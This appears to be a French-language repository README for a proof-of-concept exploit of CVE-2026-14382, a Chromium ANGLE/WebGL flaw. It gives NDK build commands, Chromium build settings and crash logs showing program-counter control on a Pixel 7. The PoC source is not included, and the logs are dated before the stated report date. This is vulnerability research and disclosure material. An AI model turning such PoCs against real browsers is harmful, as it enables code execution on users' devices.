jaf0rk/cve-2026-14382Preuve de concept d'exploit pour CVE-2026-14382, une vulnérabilité ANGLE de haute sévérité dans Chromium, avec des PoCs 32 bits et AArch64 obtenant le contrôle du compteur de programme via WebGL.
[$250000][492218546] CVE-2026-14382 haute : Validation insuffisante des entrées non fiables dans ANGLE. Signalé par un anonyme le 2026-03-13
La cause racine de cette vulnérabilité semble similaire à celle de CVE-2025-6558. Sur la base de mon analyse actuelle, je soupçonne qu'il pourrait s'agir d'une variante de CVE-2025-6558. J'ai donc adapté le PoC de CVE-2025-6558 et créé les fichiers suivants :
poc.c est le PoC principal, mais il fonctionne uniquement dans un environnement 32 bits. Comme le PoC original de CVE-2025-6558, il permet de contrôler le compteur de programme (PC).poc64.c démontre que le même problème peut également être reproduit dans un environnement AArch64. Cependant, la valeur PC résultante est imprévisible et ne peut pas être contrôlée de manière fiable, ce qui rend l'exploitation difficile. J'étudie encore s'il est possible d'obtenir un contrôle fiable du PC.poc64.html est fonctionnellement équivalent à poc64.c, mais le crash n'est pas déclenché de manière fiable à chaque tentative. S'il ne crashe pas, essayez de l'exécuter plusieurs fois.Pixel 7 Android16
--------- beginning of crash
06-29 11:17:38.359 26942 26942 F libc : Fatal signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x8d42a150 in tid 26942 (poc), pid 26942 (poc)
06-29 11:17:38.374 26950 26950 I crash_dump32: obtaining output fd from tombstoned, type: kDebuggerdTombstoneProto
06-29 11:17:38.375 747 747 I tombstoned: received crash request for pid 26942
06-29 11:17:38.375 26950 26950 I crash_dump32: performing dump of process 26942 (target tid = 26942)
06-29 11:17:38.393 1624 1624 W TracingMuxer: type=1400 audit(0.0:31735): avc: denied { write } for name="traced_producer" dev="tmpfs" ino=1316 scontext=u:r:gxp_logging:s0 tcontext=u:object_r:traced_producer_socket:s0 tclass=sock_file permissive=0
06-29 11:17:38.427 26950 26950 F DEBUG : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
06-29 11:17:38.427 26950 26950 F DEBUG : Build fingerprint: 'google/panther/panther:16/BP2A.250605.031.A2/13578606:user/release-keys'
06-29 11:17:38.427 26950 26950 F DEBUG : Revision: 'MP1.0'
06-29 11:17:38.427 26950 26950 F DEBUG : ABI: 'arm'
06-29 11:17:38.427 26950 26950 F DEBUG : Timestamp: 2025-06-29 11:17:38.376836685+0800
06-29 11:17:38.427 26950 26950 F DEBUG : Process uptime: 1s
06-29 11:17:38.427 26950 26950 F DEBUG : Cmdline: ./poc
06-29 11:17:38.427 26950 26950 F DEBUG : pid: 26942, tid: 26942, name: poc >>> ./poc <<<
06-29 11:17:38.427 26950 26950 F DEBUG : uid: 2000
06-29 11:17:38.427 26950 26950 F DEBUG : signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x8d42a150
06-29 11:17:38.427 26950 26950 F DEBUG : r0 f3dc1630 r1 00000000 r2 00000000 r3 8d42a150
06-29 11:17:38.427 26950 26950 F DEBUG : r4 f319fc7c r5 f76bb2d0 r6 00000000 r7 f76bb2dc
06-29 11:17:38.427 26950 26950 F DEBUG : r8 f319fbd8 r9 00000000 r10 f3194290 r11 00000001
06-29 11:17:38.427 26950 26950 F DEBUG : ip 00000000 sp fff04368 lr f47b35af pc 8d42a150
06-29 11:17:38.427 26950 26950 F DEBUG : 5 total frames
06-29 11:17:38.427 26950 26950 F DEBUG : backtrace:
06-29 11:17:38.427 26950 26950 F DEBUG : NOTE: Function names and BuildId information is missing for some frames due
06-29 11:17:38.427 26950 26950 F DEBUG : NOTE: to unreadable libraries. For unwinds of apps, only shared libraries
06-29 11:17:38.427 26950 26950 F DEBUG : NOTE: found under the lib/ directory are readable.
06-29 11:17:38.427 26950 26950 F DEBUG : NOTE: On this device, run setenforce 0 to make the libraries readable.
06-29 11:17:38.427 26950 26950 F DEBUG : NOTE: Unreadable libraries:
06-29 11:17:38.427 26950 26950 F DEBUG : NOTE: /data/local/tmp/poc
06-29 11:17:38.427 26950 26950 F DEBUG : #00 pc 8d42a150 <unknown>
06-29 11:17:38.427 26950 26950 F DEBUG : #01 pc 006185ad /vendor/lib/egl/libGLES_mali.so (gles_drawp_handle_dependencies(gles_context*, gles_draw_call*, glescore_submission*)+196) (BuildId: da7af0632b11c153bc5a10aa30fdc8a1314007c5)
06-29 11:17:38.427 26950 26950 F DEBUG : #02 pc 00619a6b /vendor/lib/egl/libGLES_mali.so (gles_drawp_draw_common+794) (BuildId: da7af0632b11c153bc5a10aa30fdc8a1314007c5)
06-29 11:17:38.427 26950 26950 F DEBUG : #03 pc 005d1373 /vendor/lib/egl/libGLES_mali.so (gles_draw_draw_arrays+32) (BuildId: da7af0632b11c153bc5a10aa30fdc8a1314007c5)
06-29 11:17:38.427 26950 26950 F DEBUG : #04 pc 000022fc /data/local/tmp/poc
--------- beginning of system
arm32 :
$NDK/toolchains/llvm/prebuilt/linux-x86_64/bin/clang poc.c -lGLESv3 -lGLESv2 -lEGL -lm --target=armv7a-linux-android34 -g -O0 -o poc
aarch64 :
$NDK/toolchains/llvm/prebuilt/linux-x86_64/bin/clang poc.c -lGLESv3 -lGLESv2 -lEGL -lm --target=aarch64-linux-android34 -g -O0 -o poc
commit 65db666ac2cf205fcc36db8bb5b9cd87f94808ac (HEAD -> 148.0.7778.167, tag: 148.0.7778.167)
Author: Juan Mojica <[email protected]>
Date: Mon May 11 16:14:03 2026 -0700
[148] [lens] Delay searchbox initialization to fix flaky thumbnail
Original change's description:
> [lens] Delay searchbox initialization to fix flaky thumbnail
>
> Move the OnPageBound() invocation from the LensSearchboxHandler
> constructor to the LensSearchboxController registration methods.
>
> Previously, OnPageBound() fired during the handler object's
> construction. At this stage, the controller's pointer to the handler was
> still null, causing initial state flushes, such as cached thumbnails and
> pending text queries, to be skipped.
>
> Delaying this notification until the handler is fully stored in the
> controller ensures that the initial state push always succeeds. This
> resolves the flaky viewport thumbnail issue by securing the existing
> state propagation order without introducing side effects.
>
> Demo: http://shortn/_DGK0HD8ARP
> Bug: b:510419641
> Change-Id: If0abf11b601f78f5555969295e224cec30a82162
> Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7830897
> Auto-Submit: Juan Mojica <[email protected]>
> Commit-Queue: Juan Mojica <[email protected]>
> Reviewed-by: Riley Tatum <[email protected]>
> Commit-Queue: Riley Tatum <[email protected]>
> Reviewed-by: Duncan Mercer <[email protected]>
> Cr-Commit-Position: refs/heads/main@{#1627226}
# Set build arguments here. See `gn help buildargs`.
is_official_build = true
is_debug = false
symbol_level = 2
v8_symbol_level = 2
blink_symbol_level = 2
is_component_build = false
proprietary_codecs = true
ffmpeg_branding = "Chrome"
dcheck_always_on =false
optimize_webui = true
android_static_analysis = "off"
target_os = "android"
target_cpu = "arm64"
treat_warnings_as_errors = false
po64.htmlxxxx@xxxx-pc:~/xxxx/xxx$ adb logcat | grep DEBUG
07-02 06:01:35.467 14975 14975 F DEBUG : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
07-02 06:01:35.467 14975 14975 F DEBUG : Build fingerprint: 'google/panther/panther:16/BP2A.250605.031.A2/13578606:user/release-keys'
07-02 06:01:35.467 14975 14975 F DEBUG : Revision: 'MP1.0'
07-02 06:01:35.467 14975 14975 F DEBUG : ABI: 'arm64'
07-02 06:01:35.467 14975 14975 F DEBUG : Timestamp: 2025-07-02 06:01:35.267116437+0800
07-02 06:01:35.467 14975 14975 F DEBUG : Process uptime: 15s
07-02 06:01:35.467 14975 14975 F DEBUG : Cmdline: org.chromium.chrome:privileged_process0
07-02 06:01:35.467 14975 14975 F DEBUG : pid: 14856, tid: 14876, name: CrGpuMain >>> org.chromium.chrome:privileged_process0 <<<
07-02 06:01:35.467 14975 14975 F DEBUG : uid: 10293
07-02 06:01:35.467 14975 14975 F DEBUG : tagged_addr_ctrl: 0000000000000001 (PR_TAGGED_ADDR_ENABLE)
07-02 06:01:35.467 14975 14975 F DEBUG : signal 7 (SIGBUS), code 1 (BUS_ADRALN), fault addr 0x002e00640069006f
07-02 06:01:35.467 14975 14975 F DEBUG : x0 b400006f5c65b620 x1 0000000000000000 x2 0000000000000000 x3 002e00640069006f
07-02 06:01:35.467 14975 14975 F DEBUG : x4 b4000070d83c50f0 x5 0000000000000000 x6 0000000000000000 x7 0000006d95475904
07-02 06:01:35.467 14975 14975 F DEBUG : x8 0c47bf888b6997ff x9 0c47bf888b6997ff x10 0000000000000000 x11 0000000000000002
07-02 06:01:35.467 14975 14975 F DEBUG : x12 0000006d95475590 x13 0000005ffae1e000 x14 0000000000000200 x15 00000508f18de566
07-02 06:01:35.467 14975 14975 F DEBUG : x16 0000006de78fa2e8 x17 00000070c3c6ec40 x18 0000006d94534000 x19 b400006df696ca00
07-02 06:01:35.467 14975 14975 F DEBUG : x20 b4000070d83c50f0 x21 b400006df697d7c8 x22 b400006df697d8f0 x23 0000000000000000
07-02 06:01:35.467 14975 14975 F DEBUG : x24 b4000070d83c5108 x25 0000000000000000 x26 b4000070d83c5110 x27 0000000000000010
07-02 06:01:35.467 14975 14975 F DEBUG : x28 0000000000000008 x29 0000000000000001
07-02 06:01:35.467 14975 14975 F DEBUG : lr 0000006de5240c88 sp 0000006d95475820 pc 002e00640069006f pst 0000000060001000
07-02 06:01:35.467 14975 14975 F DEBUG : 32 total frames
07-02 06:01:35.467 14975 14975 F DEBUG : backtrace:
07-02 06:01:35.467 14975 14975 F DEBUG : #00 pc 002e00640069006f <unknown>
07-02 06:01:35.467 14975 14975 F DEBUG : #01 pc 00000000009fbc84 /vendor/lib64/egl/libGLES_mali.so (gles_drawp_handle_dependencies(gles_context*, gles_draw_call*, glescore_submission*)+292) (BuildId: 035427b48537aa8c1499aa365b4c26e44ae21572)
07-02 06:01:35.467 14975 14975 F DEBUG : #02 pc 00000000009fd614 /vendor/lib64/egl/libGLES_mali.so (gles_drawp_draw_common+1060) (BuildId: 035427b48537aa8c1499aa365b4c26e44ae21572)
07-02 06:01:35.467 14975 14975 F DEBUG : #03 pc 00000000009949fc /vendor/lib64/egl/libGLES_mali.so (glDrawArrays+92) (BuildId: 035427b48537aa8c1499aa365b4c26e44ae21572)
07-02 06:01:35.467 14975 14975 F DEBUG : #04 pc 0000000005b6d69c /data/app/~~hnuqRYjvqChsV0TgdsyChQ==/org.chromium.chrome-mynNmCCQWC9LhdbK_Qbghw==/lib/arm64/libchrome.so (BuildId: 1cd3317925a581714026104731e13a02775f3c01)
07-02 06:01:35.467 14975 14975 F DEBUG : #05 pc 000000000904f390 /data/app/~~hnuqRYjvqChsV0TgdsyChQ==/org.chromium.chrome-mynNmCCQWC9LhdbK_Qbghw==/lib/arm64/libchrome.so (BuildId: 1cd3317925a581714026104731e13a02775f3c01)
07-02 06:01:35.467 14975 14975 F DEBUG : #06 pc 0000000009048a30 /data/app/~~hnuqRYjvqChsV0TgdsyChQ==/org.chromium.chrome-mynNmCCQWC9LhdbK_Qbghw==/lib/arm64/libchrome.so (BuildId: 1cd3317925a581714026104731e13a02775f3c01)
07-02 06:01:35.467 14975 14975 F DEBUG : #07 pc 00000000065c4548 /data/app/~~hnuqRYjvqChsV0TgdsyChQ==/org.chromium.chrome-mynNmCCQWC9LhdbK_Qbghw==/lib/arm64/libchrome.so (BuildId: 1cd3317925a581714026104731e13a02775f3c01)
07-02 06:01:35.467 14975 14975 F DEBUG : #08 pc 00000000068f9e20 /data/app/~~hnuqRYjvqChsV0TgdsyChQ==/org.chromium.chrome-mynNmCCQWC9LhdbK_Qbghw==/lib/arm64/libchrome.so (BuildId: 1cd3317925a581714026104731e13a02775f3c01)
07-02 06:01:35.467 14975 14975 F DEBUG : #09 pc 00000000068fb024 /data/app/~~hnuqRYjvqChsV0TgdsyChQ==/org.chromium.chrome-mynNmCCQWC9LhdbK_Qbghw==/lib/arm64/libchrome.so (BuildId: 1cd3317925a581714026104731e13a02775f3c01)
07-02 06:01:35.467 14975 14975 F DEBUG : #10 pc 00000000068faecc /data/app/~~hnuqRYjvqChsV0TgdsyChQ==/org.chromium.chrome-mynNmCCQWC9LhdbK_Qbghw==/lib/arm64/libchrome.so (BuildId: 1cd3317925a581714026104731e13a02775f3c01)
07-02 06:01:35.467 14975 14975 F DEBUG : #11 pc 0000000005abd928 /data/app/~~hnuqRYjvqChsV0TgdsyChQ==/org.chromium.chrome-mynNmCCQWC9LhdbK_Qbghw==/lib/arm64/libchrome.so (BuildId: 1cd3317925a581714026104731e13a02775f3c01)
07-02 06:01:35.467 14975 14975 F DEBUG : #12 pc 00000000065c5b00 /data/app/~~hnuqRYjvqChsV0TgdsyChQ==/org.chromium.chrome-mynNmCCQWC9LhdbK_Qbghw==/lib/arm64/libchrome.so (BuildId: 1cd3317925a581714026104731e13a02775f3c01)
07-02 06:01:35.467 14975 14975 F DEBUG : #13 pc 0000000005765884 /data/app/~~hnuqRYjvqChsV0TgdsyChQ==/org.chromium.chrome-mynNmCCQWC9LhdbK_Qbghw==/lib/arm64/libchrome.so (BuildId: 1cd3317925a581714026104731e13a02775f3c01)
07-02 06:01:35.467 14975 14975 F DEBUG : #14 pc 0000000005aac700 /data/app/~~hnuqRYjvqChsV0TgdsyChQ==/org.chromium.chrome-mynNmCCQWC9LhdbK_Qbghw==/lib/arm64/libchrome.so (BuildId: 1cd3317925a581714026104731e13a02775f3c01)
07-02 06:01:35.467 14975 14975 F DEBUG : #15 pc 0000000005fd6ff0 /data/app/~~hnuqRYjvqChsV0TgdsyChQ==/org.chromium.chrome-mynNmCCQWC9LhdbK_Qbghw==/lib/arm64/libchrome.so (BuildId: 1cd3317925a581714026104731e13a02775f3c01)
07-02 06:01:35.467 14975 14975 F DEBUG : #16 pc 0000000007087ba8 /data/app/~~hnuqRYjvqChsV0TgdsyChQ==/org.chromium.chrome-mynNmCCQWC9LhdbK_Qbghw==/lib/arm64/libchrome.so (BuildId: 1cd3317925a581714026104731e13a02775f3c01)
07-02 06:01:35.467 14975 14975 F DEBUG : #17 pc 0000000007b0a540 /data/app/~~hnuqRYjvqChsV0TgdsyChQ==/org.chromium.chrome-mynNmCCQWC9LhdbK_Qbghw==/lib/arm64/libchrome.so (BuildId: 1cd3317925a581714026104731e13a02775f3c01)
07-02 06:01:35.467 14975 14975 F DEBUG : #18 pc 00000000070bf1ac /data/app/~~hnuqRYjvqChsV0TgdsyChQ==/org.chromium.chrome-mynNmCCQWC9LhdbK_Qbghw==/lib/arm64/libchrome.so (BuildId: 1cd3317925a581714026104731e13a02775f3c01)
07-02 06:01:35.467 14975 14975 F DEBUG : #19 pc 00000000070bf5b0 /data/app/~~hnuqRYjvqChsV0TgdsyChQ==/org.chromium.chrome-mynNmCCQWC9LhdbK_Qbghw==/lib/arm64/libchrome.so (BuildId: 1cd3317925a581714026104731e13a02775f3c01)
07-02 06:01:35.467 14975 14975 F DEBUG : #20 pc 0000000007984ac4 /data/app/~~hnuqRYjvqChsV0TgdsyChQ==/org.chromium.chrome-mynNmCCQWC9LhdbK_Qbghw==/lib/arm64/libchrome.so (BuildId: 1cd3317925a581714026104731e13a02775f3c01)
07-02 06:01:35.467 14975 14975 F DEBUG : #21 pc 0000000007984788 /data/app/~~hnuqRYjvqChsV0TgdsyChQ==/org.chromium.chrome-mynNmCCQWC9LhdbK_Qbghw==/lib/arm64/libchrome.so (BuildId: 1cd3317925a581714026104731e13a02775f3c01)
07-02 06:01:35.467 14975 14975 F DEBUG : #22 pc 000000000033f500 /apex/com.android.art/lib64/libart.so (art_quick_generic_jni_trampoline+144) (BuildId: b229f9d1b6196afaae086f29f029f907)
07-02 06:01:35.467 14975 14975 F DEBUG : #23 pc 0000000000689588 /apex/com.android.art/lib64/libart.so (nterp_helper+152) (BuildId: b229f9d1b6196afaae086f29f029f907)
07-02 06:01:35.467 14975 14975 F DEBUG : #24 pc 000000000028e37e /data/app/~~hnuqRYjvqChsV0TgdsyChQ==/org.chromium.chrome-mynNmCCQWC9LhdbK_Qbghw==/base.apk (offset 0x1f6f000) (gj1.run+570)
07-02 06:01:35.467 14975 14975 F DEBUG : #25 pc 00000000000a94f0 /system/framework/arm64/boot.oat (java.lang.Thread.run+64) (BuildId: f7dcc0c41d7298598dd50b6df5fbdd67cef62829)
07-02 06:01:35.467 14975 14975 F DEBUG : #26 pc 0000000000328194 /apex/com.android.art/lib64/libart.so (art_quick_invoke_stub+612) (BuildId: b229f9d1b6196afaae086f29f029f907)
07-02 06:01:35.467 14975 14975 F DEBUG : #27 pc 00000000002d9348 /apex/com.android.art/lib64/libart.so (art::ArtMethod::Invoke(art::Thread*, unsigned int*, unsigned int, art::JValue*, char const*)+216) (BuildId: b229f9d1b6196afaae086f29f029f907)
07-02 06:01:35.467 14975 14975 F DEBUG : #28 pc 0000000000421028 /apex/com.android.art/lib64/libart.so (art::Thread::CreateCallback(void*)+932) (BuildId: b229f9d1b6196afaae086f29f029f907)
07-02 06:01:35.467 14975 14975 F DEBUG : #29 pc 0000000000420c74 /apex/com.android.art/lib64/libart.so (art::Thread::CreateCallbackWithUffdGc(void*)+8) (BuildId: b229f9d1b6196afaae086f29f029f907)
07-02 06:01:35.467 14975 14975 F DEBUG : #30 pc 0000000000080e6c /apex/com.android.runtime/lib64/bionic/libc.so (__pthread_start(void*)+236) (BuildId: 56d1c072e220860e239a4a1824a78f97)
07-02 06:01:35.467 14975 14975 F DEBUG : #31 pc 00000000000736d0 /apex/com.android.runtime/lib64/bionic/libc.so (__start_thread+64) (BuildId: 56d1c072e220860e239a4a1824a78f97)